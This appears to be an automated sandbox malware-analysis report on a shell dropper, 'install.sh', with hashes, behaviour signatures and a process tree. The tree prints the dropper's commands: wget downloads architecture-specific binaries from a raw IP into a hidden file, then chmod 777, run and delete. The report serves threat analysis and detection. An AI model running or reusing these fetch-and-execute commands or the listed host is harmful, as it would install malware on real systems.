Analysis

  • max time kernel
    134s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/08/2026, 06:12

General

  • Target
    install.sh
  • Size 514B
  • Sample260828-gybatafj4x
  • SHA256 ed555255a37cf5daec7f617af1c5553723b47376830c666bdf036f5ea9e979e8
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/install.sh
    /tmp/install.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /usr/bin/wget
      wget -q http://196.251.121.142/a3f8d2/kaizen.mips -O .k
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:645
    • /bin/chmod
      chmod 777 .k
      2⤵
      • File and Directory Permissions Modification
      PID:774
    • /tmp/.k
      ./.k http
      2⤵
        PID:775
      • /bin/rm
        rm -f .k
        2⤵
          PID:777
        • /usr/bin/wget
          wget -q http://196.251.121.142/a3f8d2/kaizen.mpsl -O .k
          2⤵
          • Writes file to tmp directory
          PID:778

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            .k

            • Path /tmp/.k
            • Size 187KB
            • SHA256 8dc026640c8dd359ad7248d1ea0a4740bf3bbbf1a3abcfbbf6390e0ecdb31ebb
            • MD5 SHA1 SHA512 SSDEEP TLSH